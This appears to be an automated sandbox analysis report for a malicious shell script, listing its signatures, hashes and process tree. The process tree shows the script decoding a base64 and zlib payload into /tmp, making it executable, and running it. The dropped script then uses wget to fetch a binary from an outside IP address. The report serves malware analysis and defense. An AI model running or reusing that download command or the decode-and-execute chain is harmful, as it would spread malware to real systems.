Overview

overview

7

Static

static

1

c0469c8400...ion.sh

ubuntu-18.04-amd64

7

c0469c8400...ion.sh

debian-9-armhf

7

c0469c8400...ion.sh

debian-9-mips

7

c0469c8400...ion.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    31s
  • max time network
    100s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/09/2026, 17:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    c0469c8400de5b76b99f26aa982023f483df42781813ebbbdaf4e4013d8fdabd_comment-insertion.sh
  • Size 832KB
  • Sample260913-webjss1brb
  • SHA256 6a9e83d7b5caf4781e7efa996156e1715debc6ebc00d93c5ff5ba8ab52a4524a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasion

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c0469c8400de5b76b99f26aa982023f483df42781813ebbbdaf4e4013d8fdabd_comment-insertion.sh
    /tmp/c0469c8400de5b76b99f26aa982023f483df42781813ebbbdaf4e4013d8fdabd_comment-insertion.sh
    1⤵
    • Writes file to tmp directory
    PID:643
    • /bin/mktemp
      mktemp -d
      2⤵
        PID:661
      • /usr/bin/base64
        base64 -d
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:668
      • /usr/bin/python3
        python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
        2⤵
          PID:669
        • /bin/chmod
          chmod +x /tmp/tmp.vWr1UrZHg9/embedded.sh
          2⤵
          • File and Directory Permissions Modification
          PID:675
      • /bin/bash
        bash /tmp/tmp.vWr1UrZHg9/embedded.sh
        1⤵
          PID:643
          • /usr/bin/wget
            wget http://94.26.106.177/bins/sora.x86
            2⤵
              PID:676

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                sh-thd.8e8erZ
                • Path /tmp/sh-thd.8e8erZ
                • Size 827KB
                • SHA256 0df1d8ff5bf30faa6603c3190fa7f7136c99f1908611939e1c0a8b821a677c79
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                embedded.sh
                • Path /tmp/tmp.vWr1UrZHg9/embedded.sh
                • Size 2KB
                • SHA256 631ce30de786cc81070bfa60c20a89a49af36e8a54d0c25ac3bf78af177bdb9f
                • MD5 SHA1 SHA512 TLSH
                Submit Download